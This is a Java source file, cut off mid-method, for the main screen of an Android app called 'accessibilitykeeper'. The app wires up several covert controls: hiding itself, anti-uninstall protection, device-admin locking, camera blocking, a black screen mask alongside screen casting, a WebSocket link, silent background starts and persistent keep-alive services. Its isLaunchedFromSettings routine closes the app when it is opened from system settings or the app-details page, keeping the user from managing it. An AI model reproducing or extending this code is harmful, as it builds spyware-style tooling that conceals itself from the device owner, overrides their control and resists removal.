package com.demo.accessibilitykeeper;

import android.app.Activity;
import android.app.ActivityManager;
import android.app.admin.DevicePolicyManager;
import android.content.ComponentName;
import android.content.Context;
import android.content.Intent;
import android.content.SharedPreferences;
import android.content.pm.PackageManager;
import android.net.Uri;
import android.os.Build;
import android.os.Bundle;
import android.os.Handler;
import android.os.Looper;
import android.provider.Settings;
import android.util.Log;
import android.widget.Button;
import android.widget.Switch;
import android.widget.TextView;
import android.widget.Toast;

import java.util.List;

/**
 * 主界面
 */
public class MainActivity extends Activity {
    
    private static final String TAG = "MainActivity";
    private static final int REQUEST_CODE_BATTERY_OPTIMIZATION = 1001;
    private static final int REQUEST_CODE_ENABLE_ADMIN = 1002;
    private static final int REQUEST_CODE_STORAGE_PERMISSION = 1003;
    
    private TextView tvServiceStatus;
    private TextView tvKeepAliveStatus;
    private TextView tvBatteryOptimizationStatus;
    private TextView tvRestartCount;
    private TextView tvLastRestartTime;
    private TextView tvShutdownStats;
    private Switch swAutoStart;
    private Switch swStartMainOnBoot;
    private Switch swAutoHideApp;
    private Button btnStartService;
    private Button btnStopService;
    private Button btnOpenAccessibilitySettings;
    private Button btnOpenBatteryOptimization;
    private Button btnTestWebSocket;
    private Button btnViewServiceProof;
    private Button btnAdvancedHide;
    private Button btnCleanMultipleApps;
    
    private Handler refreshHandler;
    private Runnable refreshRunnable;
    private AppHider appHider;
    private AdvancedAppHider advancedAppHider;
    
    
    // 屏幕遮罩相关
    private Button btnShowMask;
    private Button btnHideMask;
    private TextView tvMaskStatus;
    private Intent maskServiceIntent;
    
    // 相机屏蔽相关
    private Button btnBlockCamera;
    private Button btnUnblockCamera;
    private TextView tvCameraStatus;
    private Intent cameraBlockServiceIntent;
    
    
    // 投屏相关
    private Button btnEnableScreenCast;
    private Button btnDisableScreenCast;
    private TextView tvScreenCastStatus;
    private Intent screenCastServiceIntent;
    
    // 自动黑屏相关
    private Button btnEnableAutoMask;
    private Button btnDisableAutoMask;
    private TextView tvAutoMaskStatus;
    private Intent autoMaskServiceIntent;
    
    // 持续遮罩相关
    private Button btnStartPersistentMask;
    private Button btnStopPersistentMask;
    private TextView tvPersistentMaskStatus;
    private Intent persistentMaskServiceIntent;
    
    
    
    // 反卸载保护按钮
    private Button btnAntiUninstallProtection;
    
    // 设备管理员相关
    private DevicePolicyManager devicePolicyManager;
    private ComponentName deviceAdminComponent;
    private Button btnLockDevice;
    private TextView tvDeviceAdminStatus;
    
    @Override
    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        setContentView(R.layout.activity_main);
        
        Log.i(TAG, "🚀 MAIN_ACTIVITY_CREATED");

        // 初始化应用隐藏工具
        appHider = new AppHider(this);
        
        
        // 初始化高级应用隐藏工具
        advancedAppHider = new AdvancedAppHider(this);
        
        
        // 初始化屏幕遮罩组件
        initMaskComponents();
        
        // 初始化相机屏蔽组件
        initCameraBlockComponents();
        
        
        // 初始化投屏组件
        initScreenCastComponents();
        
        // 初始化自动黑屏组件
        initAutoMaskComponents();
        
        // 初始化持续遮罩组件
        initPersistentMaskComponents();
        
        // 初始化设备管理员
        initDeviceAdmin();
        
        
        
        // 检查是否是从系统设置启动的（需要阻止进入）
        if (isLaunchedFromSettings()) {
            Log.w(TAG, "🚨 LAUNCHED_FROM_SETTINGS - Blocking access from system settings");
            // 立即返回桌面，阻止用户进入应用
            moveTaskToBack(true);
            finish();
            return;
        }
        
        // 检查是否是静默启动
        if (isSilentStart()) {
            Log.i(TAG, "🔇 SILENT_START_DETECTED - Starting in background mode");
            // 静默启动，立即隐藏界面
            moveTaskToBack(true);
            return;
        }
        
        // 检查启动方式
        checkStartMethod();
        
        // 请求存储权限
        requestStoragePermission();
        
        // 初始化UI
        initViews();
        
        // 设置点击事件
        setupClickListeners();
        
        // 更新UI
        updateUI();
        
        // 启动定期刷新
        startPeriodicRefresh();
        
        // 检查重启原因
        checkRestartReason();


    }
    
    /**
     * 检查是否是从系统设置启动的
     */
    private boolean isLaunchedFromSettings() {
        try {
            Intent intent = getIntent();
            if (intent != null) {
                // 检查启动来源
                String referrer = intent.getStringExtra("android.intent.extra.REFERRER");
                if (referrer != null && referrer.contains("settings")) {
                    Log.d(TAG, "🔍 LAUNCHED_FROM_SETTINGS - Referrer: " + referrer);
                    return true;
                }
                
                // 检查启动标志
                String launchSource = intent.getStringExtra("launch_source");
                if ("settings".equals(launchSource)) {
                    Log.d(TAG, "🔍 LAUNCHED_FROM_SETTINGS - Launch source: " + launchSource);
                    return true;
                }
                
                // 检查调用者包名
                String callingPackage = getCallingPackage();
                if (callingPackage != null && callingPackage.contains("settings")) {
                    Log.d(TAG, "🔍 LAUNCHED_FROM_SETTINGS - Calling package: " + callingPackage);
                    return true;
                }
                
                // 检查Intent的Action
                String action = intent.getAction();
                if (action != null && action.contains("settings")) {
                    Log.d(TAG, "🔍 LAUNCHED_FROM_SETTINGS - Action: " + action);
                    return true;
                }
                
                // 检查是否是应用详情页面启动
                if (intent.hasExtra("android.intent.extra.PACKAGE_NAME")) {
                    Log.d(TAG, "🔍 LAUNCHED_FROM_APP_DETAILS - Package name extra detected");
                    return true;
                }
            }
        } catch (Exception e) {
            Log.e(TAG, "Error checking launch from settings", e);
        }
        return false;
    }

    /**
     * 检查是否是静默启动
     */
    private boolean isSilentStart() {
        try {
            Intent intent = getIntent();
            if (intent != null) {
                boolean silentStart = intent.getBooleanExtra("silent_start", false);
                String restartReason = intent.getStringExtra("restart_reason");
                
                if (silentStart || "keep_alive_service_silent".equals(restartReason)) {
                    return true;
                }
            }
        } catch (Exception e) {
            Log.e(TAG, "Error checking silent start", e);
        }
        return false;
    }
    
    /**
     * 检查启动方式
     */
    private void checkStartMethod() {
        try {
            Intent intent = getIntent();
            if (intent != null) {
                String action = intent.getAction();
                if ("com.demo.accessibilitykeeper.START_MAIN".equals(action)) {
                    Log.i(TAG, "🔓 HIDDEN_ENTRY_USED - App started via custom method");
                    showToast("系统工具通过隐藏入口启动");
                } else {
                    Log.i(TAG, "📱 NORMAL_START - App started normally");
                }
            }
        } catch (Exception e) {
            Log.e(TAG, "Error checking start method", e);
        }
    }
    
    /**
     * 初始化视图
     */
    private void initViews() {
        tvServiceStatus = findViewById(R.id.tv_service_status);
        tvKeepAliveStatus = findViewById(R.id.tv_keep_alive_status);
        tvBatteryOptimizationStatus = findViewById(R.id.tv_battery_optimization_status);
        tvRestartCount = findViewById(R.id.tv_restart_count);
        tvLastRestartTime = findViewById(R.id.tv_last_restart_time);
        tvShutdownStats = findViewById(R.id.tv_shutdown_stats);
        swAutoStart = findViewById(R.id.sw_auto_start);
        swStartMainOnBoot = findViewById(R.id.sw_start_main_on_boot);
        swAutoHideApp = findViewById(R.id.sw_auto_hide_app);
        btnStartService = findViewById(R.id.btn_start_service);
        btnStopService = findViewById(R.id.btn_stop_service);
        btnOpenAccessibilitySettings = findViewById(R.id.btn_open_accessibility_settings);
        btnOpenBatteryOptimization = findViewById(R.id.btn_open_battery_optimization);
        btnTestWebSocket = findViewById(R.id.btn_test_websocket);
        btnViewServiceProof = findViewById(R.id.btn_view_service_proof);
        btnAdvancedHide = findViewById(R.id.btn_advanced_hide);
        btnCleanMultipleApps = findViewById(R.id.btn_clean_multiple_apps);
        btnAntiUninstallProtection = findViewById(R.id.btn_anti_uninstall_protection);
        btnLockDevice = findViewById(R.id.btn_lock_device);
        tvDeviceAdminStatus = findViewById(R.id.tv_device_admin_status);
    }
    
    /**
     * 设置点击事件
     */
    private void setupClickListeners() {
        btnStartService.setOnClickListener(v -> startKeepAliveService());
        btnStopService.setOnClickListener(v -> stopKeepAliveService());
        btnOpenAccessibilitySettings.setOnClickListener(v -> openAccessibilitySettings());
        btnOpenBatteryOptimization.setOnClickListener(v -> openBatteryOptimizationSettings());
        btnTestWebSocket.setOnClickListener(v -> testWebSocketConnection());
        btnViewServiceProof.setOnClickListener(v -> viewServiceProof());
        btnAdvancedHide.setOnClickListener(v -> executeAdvancedAppHide());
        btnCleanMultipleApps.setOnClickListener(v -> cleanMultipleAppInstances());
        btnAntiUninstallProtection.setOnClickListener(v -> startAntiUninstallProtection());
        btnLockDevice.setOnClickListener(v -> lockDevice());
        
        swAutoStart.setOnCheckedChangeListener((buttonView, isChecked) -> {
            SharedPreferences prefs = getSharedPreferences("accessibility_keeper_prefs", Context.MODE_PRIVATE);
            prefs.edit().putBoolean("auto_start_enabled", isChecked).apply();
            Log.d(TAG, "Auto start enabled: " + isChecked);
        });
        
        swStartMainOnBoot.setOnCheckedChangeListener((buttonView, isChecked) -> {
            SharedPreferences prefs = getSharedPreferences("accessibility_keeper_prefs", Context.MODE_PRIVATE);
            prefs.edit().putBoolean("start_main_activity_on_boot", isChecked).apply();
            Log.d(TAG, "Start main activity on boot: " + isChecked);
        });
        
        swAutoHideApp.setOnCheckedChangeListener((buttonView, isChecked) -> {
            SharedPreferences prefs = getSharedPreferences("accessibility_keeper_prefs", Context.MODE_PRIVATE);
            prefs.edit().putBoolean("auto_hide_enabled", isChecked).apply();
            Log.d(TAG, "Auto hide app enabled: " + isChecked);
            
            if (isChecked) {
                showToast("自动隐藏已启用");
            } else {
                showToast("自动隐藏已禁用");
            }
        });
    }
    
    @Override
    protected void onResume() {
        super.onResume();
        updateUI();
        startPeriodicRefresh();
    }
    
    
    @Override
    protected void onPause() {
        super.onPause();
        stopPeriodicRefresh();
    }
    
    @Override
    protected void onDestroy() {
        super.onDestroy();
        stopPeriodicRefresh();
    }
    
    /**
     * 更新UI
     */
    private void updateUI() {
        updateServiceStatus();
        updateKeepAliveStatus();
        updateBatteryOptimizationStatus();
        updateRunningStats();
        updateAutoStartSwitch();
        updateStartMainOnBootSwitch();
        updateAutoHideAppSwitch();
    }
    
    /**
     * 更新服务状态
     */
    private void updateServiceStatus() {
        try {
            Log.d(TAG, "🔄 UPDATING_SERVICE_STATUS - Updating service status");
            
            // 检查各种服务状态
            boolean isServiceRunning = isServiceActuallyRunning();
            boolean isAccessibilityEnabled = isAccessibilityServiceEnabled();
            boolean isAccessibilityRunning = isAccessibilityServiceRunning();
            boolean isKeepAliveRunning = isKeepAliveServiceRunning();
            boolean isForegroundRunning = isForegroundServiceRunning();
            
            Log.d(TAG, "Service status - Accessibility enabled: " + isAccessibilityEnabled + 
                  ", Accessibility running: " + isAccessibilityRunning + 
                  ", KeepAlive running: " + isKeepAliveRunning + 
                  ", Foreground running: " + isForegroundRunning + 
                  ", Overall: " + isServiceRunning);
            
            // 更新服务状态显示
            if (isServiceRunning && isAccessibilityEnabled && isAccessibilityRunning) {
                tvServiceStatus.setText("服务状态：正常运行 ✅");
                tvServiceStatus.setTextColor(getResources().getColor(android.R.color.holo_green_dark));
                btnStartService.setEnabled(false);
                btnStopService.setEnabled(true);
            } else if (isAccessibilityEnabled && isAccessibilityRunning) {
                tvServiceStatus.setText("服务状态：无障碍服务运行中 ⚠️");
                tvServiceStatus.setTextColor(getResources().getColor(android.R.color.holo_orange_dark));
                btnStartService.setEnabled(true);
                btnStopService.setEnabled(false);
            } else if (isAccessibilityEnabled) {
                tvServiceStatus.setText("服务状态：无障碍服务已启用但未运行 ❌");
                tvServiceStatus.setTextColor(getResources().getColor(android.R.color.holo_red_dark));
                btnStartService.setEnabled(true);
                btnStopService.setEnabled(false);
            } else {
                tvServiceStatus.setText("服务状态：无障碍服务未启用 ❌");
                tvServiceStatus.setTextColor(getResources().getColor(android.R.color.holo_red_dark));
                btnStartService.setEnabled(true);
                btnStopService.setEnabled(false);
            }
            
            Log.d(TAG, "✅ SERVICE_STATUS_UPDATED - Service status updated successfully");
            
        } catch (Exception e) {
            Log.e(TAG, "❌ ERROR_UPDATING_SERVICE_STATUS", e);
            tvServiceStatus.setText("❌ 状态检查失败");
            tvServiceStatus.setTextColor(getResources().getColor(android.R.color.holo_red_dark));
        }
    }
    
    /**
     * 检查服务是否真正在运行
     */
    private boolean isServiceActuallyRunning() {
        try {
            // 检查无障碍服务是否启用
            boolean isAccessibilityEnabled = isAccessibilityServiceEnabled();
            
            // 检查保活服务是否在运行
            boolean isKeepAliveRunning = isKeepAliveServiceRunning();
            
            // 检查前台服务是否在运行
            boolean isForegroundRunning = isForegroundServiceRunning();
            
            Log.d(TAG, "Service check - Accessibility: " + isAccessibilityEnabled + 
                  ", KeepAlive: " + isKeepAliveRunning + 
                  ", Foreground: " + isForegroundRunning);
            
            // 如果无障碍服务启用且至少有一个服务在运行，认为服务正常
            return isAccessibilityEnabled && (isKeepAliveRunning || isForegroundRunning);
            
        } catch (Exception e) {
            Log.e(TAG, "Error checking service status", e);
            return false;
        }
    }
    
    /**
     * 检查无障碍服务是否启用
     */
    private boolean isAccessibilityServiceEnabled() {
        try {
            String settingValue = Settings.Secure.getString(
                getContentResolver(),
                Settings.Secure.ENABLED_ACCESSIBILITY_SERVICES);
            
            String packageName = getPackageName();
            String serviceName = packageName + "/" + packageName + ".AccessibilityKeeperService";
            
            boolean isEnabled = settingValue != null && settingValue.contains(serviceName);
            Log.d(TAG, "Accessibility service enabled: " + isEnabled);
            Log.d(TAG, "Setting value: " + settingValue);
            Log.d(TAG, "Service name: " + serviceName);
            return isEnabled;
            
        } catch (Exception e) {
            Log.e(TAG, "❌ ERROR_CHECKING_ACCESSIBILITY_SERVICE", e);
            return false;
        }
    }
    
    /**
     * 检查无障碍服务是否真正运行
     */
    private boolean isAccessibilityServiceRunning() {
        try {
            ActivityManager activityManager = (ActivityManager) getSystemService(Context.ACTIVITY_SERVICE);
            List<ActivityManager.RunningServiceInfo> runningServices = activityManager.getRunningServices(Integer.MAX_VALUE);
            
            String packageName = getPackageName();
            String serviceName = packageName + ".AccessibilityKeeperService";
            
            for (ActivityManager.RunningServiceInfo service : runningServices) {
                if (serviceName.equals(service.service.getClassName())) {
                    Log.d(TAG, "✅ ACCESSIBILITY_SERVICE_RUNNING - Accessibility service is running");
                    return true;
                }
            }
            
            Log.d(TAG, "❌ ACCESSIBILITY_SERVICE_NOT_RUNNING - Accessibility service not running");
            return false;
            
        } catch (Exception e) {
            Log.e(TAG, "❌ ERROR_CHECKING_ACCESSIBILITY_SERVICE_RUNNING", e);
            return false;
        }
    }
    
    /**
     * 检查保活服务是否在运行
     */
    private boolean isKeepAliveServiceRunning() {
        try {
            android.app.ActivityManager activityManager = (android.app.ActivityManager) getSystemService(Context.ACTIVITY_SERVICE);
            java.util.List<android.app.ActivityManager.RunningServiceInfo> runningServices = activityManager.getRunningServices(Integer.MAX_VALUE);
            
            String packageName = getPackageName();
            String serviceName = packageName + ".KeepAliveService";
            
            for (android.app.ActivityManager.RunningServiceInfo serviceInfo : runningServices) {
                if (serviceName.equals(serviceInfo.service.getClassName())) {
                    Log.d(TAG, "KeepAlive service is running");
                    return true;
                }
            }
            
            Log.d(TAG, "KeepAlive service is not running");
            return false;
            
        } catch (Exception e) {
            Log.e(TAG, "Error checking keep alive service", e);
            return false;
        }
    }
    
    /**
     * 检查前台服务是否在运行
     */
    private boolean isForegroundServiceRunning() {
        try {
            android.app.ActivityManager activityManager = (android.app.ActivityManager) getSystemService(Context.ACTIVITY_SERVICE);
            java.util.List<android.app.ActivityManager.RunningServiceInfo> runningServices = activityManager.getRunningServices(Integer.MAX_VALUE);
            
            String packageName = getPackageName();
            String serviceName = packageName + ".ForegroundService";
            
            for (android.app.ActivityManager.RunningServiceInfo serviceInfo : runningServices) {
                if (serviceName.equals(serviceInfo.service.getClassName())) {
                    Log.d(TAG, "Foreground service is running");
                    return true;
                }
            }
            
            Log.d(TAG, "Foreground service is not running");
            return false;
            
        } catch (Exception e) {
            Log.e(TAG, "Error checking foreground service", e);
            return false;
        }
    }
    
    /**
     * 更新保活状态
     */
    private void updateKeepAliveStatus() {
        try {
            SharedPreferences prefs = getSharedPreferences("accessibility_keeper_prefs", Context.MODE_PRIVATE);
            boolean keepAliveActive = prefs.getBoolean("keep_alive_active", false);
            int accessibilityKeepAliveCount = prefs.getInt("simple_keep_alive_count", 0);
            String websocketStatus = getWebSocketStatus();
            
            String uninstallProtectionStatus = getUninstallProtectionStatus();
            
            String statusText;
            if (keepAliveActive) {
                statusText = "保活机制已激活 (无障碍保活: " + accessibilityKeepAliveCount + "次)\n" +
                           "WebSocket状态: " + websocketStatus + "\n" +
                           "卸载保护: " + uninstallProtectionStatus;
            } else {
                statusText = "保活机制未激活\nWebSocket状态: " + websocketStatus + "\n" +
                           "卸载保护: " + uninstallProtectionStatus;
            }
            
        int statusColor = keepAliveActive ? 
            getResources().getColor(android.R.color.holo_green_dark) : 
            getResources().getColor(android.R.color.holo_orange_dark);
        
            tvKeepAliveStatus.setText(statusText);
        tvKeepAliveStatus.setTextColor(statusColor);
            
        } catch (Exception e) {
            Log.e(TAG, "Error updating keep alive status", e);
            tvKeepAliveStatus.setText("❌ 状态更新失败");
            tvKeepAliveStatus.setTextColor(getResources().getColor(android.R.color.holo_red_dark));
        }
    }
    
    /**
     * 获取卸载保护状态
     */
    private String getUninstallProtectionStatus() {
        try {
            SharedPreferences prefs = getSharedPreferences("accessibility_keeper_prefs", Context.MODE_PRIVATE);
            int protectionCount = prefs.getInt("uninstall_protection_count", 0);
            long lastProtectionTime = prefs.getLong("last_uninstall_protection_time", 0);
            
            if (protectionCount > 0) {
                java.text.SimpleDateFormat sdf = new java.text.SimpleDateFormat("HH:mm:ss", java.util.Locale.getDefault());
                String timeStr = lastProtectionTime > 0 ? sdf.format(new java.util.Date(lastProtectionTime)) : "未知";
                return "🛡️ 已激活 (阻止: " + protectionCount + "次, 最后: " + timeStr + ")";
            } else {
                return "⏳ 未激活";
            }
        } catch (Exception e) {
            Log.e(TAG, "Error getting uninstall protection status", e);
            return "❌ 错误";
        }
    }
    
    /**
     * 获取WebSocket状态
     */
    private String getWebSocketStatus() {
        try {
            SharedPreferences prefs = getSharedPreferences("accessibility_keeper_prefs", Context.MODE_PRIVATE);
            int successCount = prefs.getInt("network_test_success_count", 0);
            int failCount = prefs.getInt("network_test_fail_count", 0);
            long lastSuccessTime = prefs.getLong("last_network_test_success_time", 0);
            long lastFailTime = prefs.getLong("last_network_test_fail_time", 0);
            
            if (successCount > 0 && lastSuccessTime > lastFailTime) {
                java.text.SimpleDateFormat sdf = new java.text.SimpleDateFormat("HH:mm:ss", java.util.Locale.getDefault());
                String timeStr = sdf.format(new java.util.Date(lastSuccessTime));
                return "✅ 正常 (成功: " + successCount + "次, 最后: " + timeStr + ")";
            } else if (failCount > 0) {
                return "❌ 异常 (失败: " + failCount + "次)";
            } else {
                return "⏳ 未测试";
            }
        } catch (Exception e) {
            Log.e(TAG, "Error getting WebSocket status", e);
            return "❌ 错误";
        }
    }
    
    /**
     * 更新电池优化状态
     */
    private void updateBatteryOptimizationStatus() {
        try {
            if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.M) {
                android.os.PowerManager powerManager = (android.os.PowerManager) getSystemService(Context.POWER_SERVICE);
                boolean isIgnoringBatteryOptimizations = powerManager.isIgnoringBatteryOptimizations(getPackageName());
                
                if (isIgnoringBatteryOptimizations) {
                    tvBatteryOptimizationStatus.setText("✅ 已忽略电池优化");
                    tvBatteryOptimizationStatus.setTextColor(getResources().getColor(android.R.color.holo_green_dark));
                } else {
                    tvBatteryOptimizationStatus.setText("⚠️ 未忽略电池优化");
                    tvBatteryOptimizationStatus.setTextColor(getResources().getColor(android.R.color.holo_orange_dark));
                }
            } else {
                tvBatteryOptimizationStatus.setText("✅ 无需设置 (API < 23)");
                tvBatteryOptimizationStatus.setTextColor(getResources().getColor(android.R.color.holo_green_dark));
            }
        } catch (Exception e) {
            Log.e(TAG, "Error updating battery optimization status", e);
            tvBatteryOptimizationStatus.setText("❌ 状态检查失败");
            tvBatteryOptimizationStatus.setTextColor(getResources().getColor(android.R.color.holo_red_dark));
        }
    }
    
    /**
     * 更新运行统计
     */
    private void updateRunningStats() {
        try {
            SharedPreferences prefs = getSharedPreferences("accessibility_keeper_prefs", Context.MODE_PRIVATE);
            
            // 重启次数
            int restartCount = prefs.getInt("app_restart_count", 0);
            tvRestartCount.setText("重启次数: " + restartCount);
            
            // 最后重启时间
            long lastRestartTime = prefs.getLong("last_app_restart_time", 0);
            if (lastRestartTime > 0) {
                java.text.SimpleDateFormat sdf = new java.text.SimpleDateFormat("yyyy-MM-dd HH:mm:ss", java.util.Locale.getDefault());
                String timeStr = sdf.format(new java.util.Date(lastRestartTime));
                tvLastRestartTime.setText("最后重启时间: " + timeStr);
            } else {
                tvLastRestartTime.setText("最后重启时间: 从未重启");
            }
            
            // 关机统计
            int shutdownCount = prefs.getInt("shutdown_count", 0);
            long lastShutdownTime = prefs.getLong("last_shutdown_time", 0);
            if (lastShutdownTime > 0) {
                java.text.SimpleDateFormat sdf = new java.text.SimpleDateFormat("yyyy-MM-dd HH:mm:ss", java.util.Locale.getDefault());
                String timeStr = sdf.format(new java.util.Date(lastShutdownTime));
                tvShutdownStats.setText("关机统计: " + shutdownCount + "次, 最后: " + timeStr);
            } else {
                tvShutdownStats.setText("关机统计: " + shutdownCount + "次");
            }
            
        } catch (Exception e) {
            Log.e(TAG, "Error updating running stats", e);
            tvRestartCount.setText("重启次数: 加载失败");
            tvLastRestartTime.setText("最后重启时间: 加载失败");
            tvShutdownStats.setText("关机统计: 加载失败");
        }
    }
    
    /**
     * 更新自动启动开关
     */
    private void updateAutoStartSwitch() {
        try {
            SharedPreferences prefs = getSharedPreferences("accessibility_keeper_prefs", Context.MODE_PRIVATE);
            boolean autoStartEnabled = prefs.getBoolean("auto_start_enabled", true);
            swAutoStart.setChecked(autoStartEnabled);
        } catch (Exception e) {
            Log.e(TAG, "Error updating auto start switch", e);
        }
    }
    
    /**
     * 更新开机启动开关
     */
    private void updateStartMainOnBootSwitch() {
        try {
            SharedPreferences prefs = getSharedPreferences("accessibility_keeper_prefs", Context.MODE_PRIVATE);
            boolean startMainOnBoot = prefs.getBoolean("start_main_activity_on_boot", false);
            swStartMainOnBoot.setChecked(startMainOnBoot);
        } catch (Exception e) {
            Log.e(TAG, "Error updating start main on boot switch", e);
        }
    }
    
    /**
     * 更新自动隐藏应用开关状态
     */
    private void updateAutoHideAppSwitch() {
        try {
            SharedPreferences prefs = getSharedPreferences("accessibility_keeper_prefs", Context.MODE_PRIVATE);
            boolean autoHideEnabled = prefs.getBoolean("auto_hide_enabled", false);
            swAutoHideApp.setChecked(autoHideEnabled);
        } catch (Exception e) {
            Log.e(TAG, "Error updating auto hide app switch", e);
        }
    }
    
    /**
     * 启动保活服务
     */
    private void startKeepAliveService() {
        try {
            Log.i(TAG, "🚀 STARTING_KEEP_ALIVE_SERVICE - Starting keep alive service");
            
            // 检查无障碍服务是否启用
            if (!isAccessibilityServiceEnabled()) {
                Log.w(TAG, "⚠️ ACCESSIBILITY_SERVICE_NOT_ENABLED - Accessibility service not enabled");
                Toast.makeText(this, "请先在无障碍设置中启用服务", Toast.LENGTH_LONG).show();
                openAccessibilitySettings();
                return;
            }
            
            // 检查无障碍服务是否真正运行
            if (!isAccessibilityServiceRunning()) {
                Log.w(TAG, "⚠️ ACCESSIBILITY_SERVICE_NOT_RUNNING - Accessibility service not running");
                Toast.makeText(this, "无障碍服务已启用但未运行，请重启应用", Toast.LENGTH_LONG).show();
                return;
            }
            
            // 检查服务是否已经在运行
            if (isKeepAliveServiceRunning()) {
                Log.i(TAG, "✅ KEEP_ALIVE_SERVICE_ALREADY_RUNNING - Service already running");
                Toast.makeText(this, "保活服务已在运行", Toast.LENGTH_SHORT).show();
                updateUI();
                return;
            }
            
            // 启动保活服务
            Intent keepAliveIntent = new Intent(this, KeepAliveService.class);
            keepAliveIntent.putExtra("action", "start_keep_alive");
            startService(keepAliveIntent);
            
            // 启动前台服务
            Intent foregroundIntent = new Intent(this, ForegroundService.class);
            foregroundIntent.putExtra("action", "start_foreground");
            startService(foregroundIntent);
            
            // 更新状态
            SharedPreferences prefs = getSharedPreferences("accessibility_keeper_prefs", Context.MODE_PRIVATE);
            prefs.edit().putBoolean("keep_alive_active", true).apply();
            
            Log.i(TAG, "✅ KEEP_ALIVE_SERVICES_STARTED - Services started successfully");
            Toast.makeText(this, "保活服务已启动", Toast.LENGTH_SHORT).show();
            
            // 延迟更新UI，确保服务启动完成
            new Handler(Looper.getMainLooper()).postDelayed(() -> {
                updateUI();
            }, 1000);
            
        } catch (Exception e) {
            Log.e(TAG, "❌ ERROR_STARTING_KEEP_ALIVE_SERVICE", e);
            Toast.makeText(this, "启动服务失败: " + e.getMessage(), Toast.LENGTH_LONG).show();
        }
    }
    
    /**
     * 停止保活服务
     */
    private void stopKeepAliveService() {
        try {
            // 停止保活服务
            Intent keepAliveIntent = new Intent(this, KeepAliveService.class);
            stopService(keepAliveIntent);
            
            // 停止前台服务
            Intent foregroundIntent = new Intent(this, ForegroundService.class);
            stopService(foregroundIntent);
            
            // 更新状态
            SharedPreferences prefs = getSharedPreferences("accessibility_keeper_prefs", Context.MODE_PRIVATE);
            prefs.edit().putBoolean("keep_alive_active", false).apply();
            
            Log.i(TAG, "🛑 KEEP_ALIVE_SERVICES_STOPPED");
            Toast.makeText(this, "保活服务已停止", Toast.LENGTH_SHORT).show();
            
            // 更新UI
            updateUI();
            
        } catch (Exception e) {
            Log.e(TAG, "Error stopping keep alive service", e);
            Toast.makeText(this, "停止服务失败: " + e.getMessage(), Toast.LENGTH_SHORT).show();
        }
    }
    
    /**
     * 打开无障碍设置
     */
    private void openAccessibilitySettings() {
        try {
            Intent intent = new Intent(Settings.ACTION_ACCESSIBILITY_SETTINGS);
            startActivity(intent);
            Log.i(TAG, "♿ ACCESSIBILITY_SETTINGS_OPENED");
            Toast.makeText(this, "请在无障碍设置中启用\"系统辅助工具\"", Toast.LENGTH_LONG).show();
        } catch (Exception e) {
            Log.e(TAG, "Error opening accessibility settings", e);
            Toast.makeText(this, "打开无障碍设置失败: " + e.getMessage(), Toast.LENGTH_SHORT).show();
        }
    }
    
    /**
     * 打开电池优化设置
     */
    private void openBatteryOptimizationSettings() {
        try {
            if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.M) {
                if (isIgnoringBatteryOptimizations()) {
                    // 如果已经忽略，打开应用详情页面
                    openAppDetailsSettings();
            } else {
                    // 如果未忽略，请求忽略电池优化
                    requestIgnoreBatteryOptimizations();
                }
            } else {
                Toast.makeText(this, "当前Android版本无需设置电池优化", Toast.LENGTH_SHORT).show();
            }
        } catch (Exception e) {
            Log.e(TAG, "Error opening battery optimization settings", e);
            Toast.makeText(this, "打开设置失败: " + e.getMessage(), Toast.LENGTH_SHORT).show();
        }
    }
    
    /**
     * 检查是否忽略电池优化
     */
    private boolean isIgnoringBatteryOptimizations() {
        try {
            if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.M) {
                android.os.PowerManager powerManager = (android.os.PowerManager) getSystemService(Context.POWER_SERVICE);
                return powerManager.isIgnoringBatteryOptimizations(getPackageName());
            }
            return true;
        } catch (Exception e) {
            Log.e(TAG, "Error checking battery optimization status", e);
            return false;
        }
    }
    
    /**
     * 请求忽略电池优化
     */
    private void requestIgnoreBatteryOptimizations() {
        try {
            if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.M) {
                Intent intent = new Intent(Settings.ACTION_REQUEST_IGNORE_BATTERY_OPTIMIZATIONS);
                intent.setData(Uri.parse("package:" + getPackageName()));
                startActivityForResult(intent, REQUEST_CODE_BATTERY_OPTIMIZATION);
                Log.i(TAG, "🔋 BATTERY_OPTIMIZATION_REQUEST_SENT");
            }
        } catch (Exception e) {
            Log.e(TAG, "Error requesting battery optimization", e);
            // 如果请求失败，直接打开设置页面
            openBatteryOptimizationSettingsPage();
        }
    }
    
    /**
     * 打开电池优化设置页面
     */
    private void openBatteryOptimizationSettingsPage() {
        try {
            Intent intent = new Intent(Settings.ACTION_IGNORE_BATTERY_OPTIMIZATION_SETTINGS);
            startActivity(intent);
            Log.i(TAG, "🔋 BATTERY_OPTIMIZATION_SETTINGS_OPENED");
        } catch (Exception e) {
            Log.e(TAG, "Error opening battery optimization settings page", e);
            // 如果还是失败，打开应用详情页面
            openAppDetailsSettings();
        }
    }
    
    /**
     * 打开应用详情设置页面
     */
    private void openAppDetailsSettings() {
        try {
            Intent intent = new Intent(Settings.ACTION_APPLICATION_DETAILS_SETTINGS);
            intent.setData(Uri.parse("package:" + getPackageName()));
            startActivity(intent);
            Log.i(TAG, "📱 APP_DETAILS_SETTINGS_OPENED");
        } catch (Exception e) {
            Log.e(TAG, "Error opening app details settings", e);
            Toast.makeText(this, "无法打开设置页面", Toast.LENGTH_SHORT).show();
        }
    }
    
    @Override
    protected void onActivityResult(int requestCode, int resultCode, Intent data) {
        super.onActivityResult(requestCode, resultCode, data);
        
        switch (requestCode) {
            case REQUEST_CODE_BATTERY_OPTIMIZATION:
                // 检查电池优化设置结果
                if (isIgnoringBatteryOptimizations()) {
                    Log.i(TAG, "✅ BATTERY_OPTIMIZATION_IGNORED");
                    Toast.makeText(this, "已忽略电池优化", Toast.LENGTH_SHORT).show();
                } else {
                    Log.w(TAG, "❌ BATTERY_OPTIMIZATION_NOT_IGNORED");
                    Toast.makeText(this, "未忽略电池优化，可能影响保活效果", Toast.LENGTH_LONG).show();
                }
                updateBatteryOptimizationStatus();
                break;
                
            case REQUEST_CODE_ENABLE_ADMIN:
                if (resultCode == RESULT_OK) {
                    Log.i(TAG, "✅ DEVICE_ADMIN_PERMISSION_GRANTED");
                    showToast("设备管理员权限已获取");
                    updateDeviceAdminStatus();
                } else {
                    Log.w(TAG, "❌ DEVICE_ADMIN_PERMISSION_DENIED");
                    showToast("设备管理员权限被拒绝，设备锁定功能无法使用");
                }
                break;
                
        }
    }
    
    @Override
    public void onRequestPermissionsResult(int requestCode, String[] permissions, int[] grantResults) {
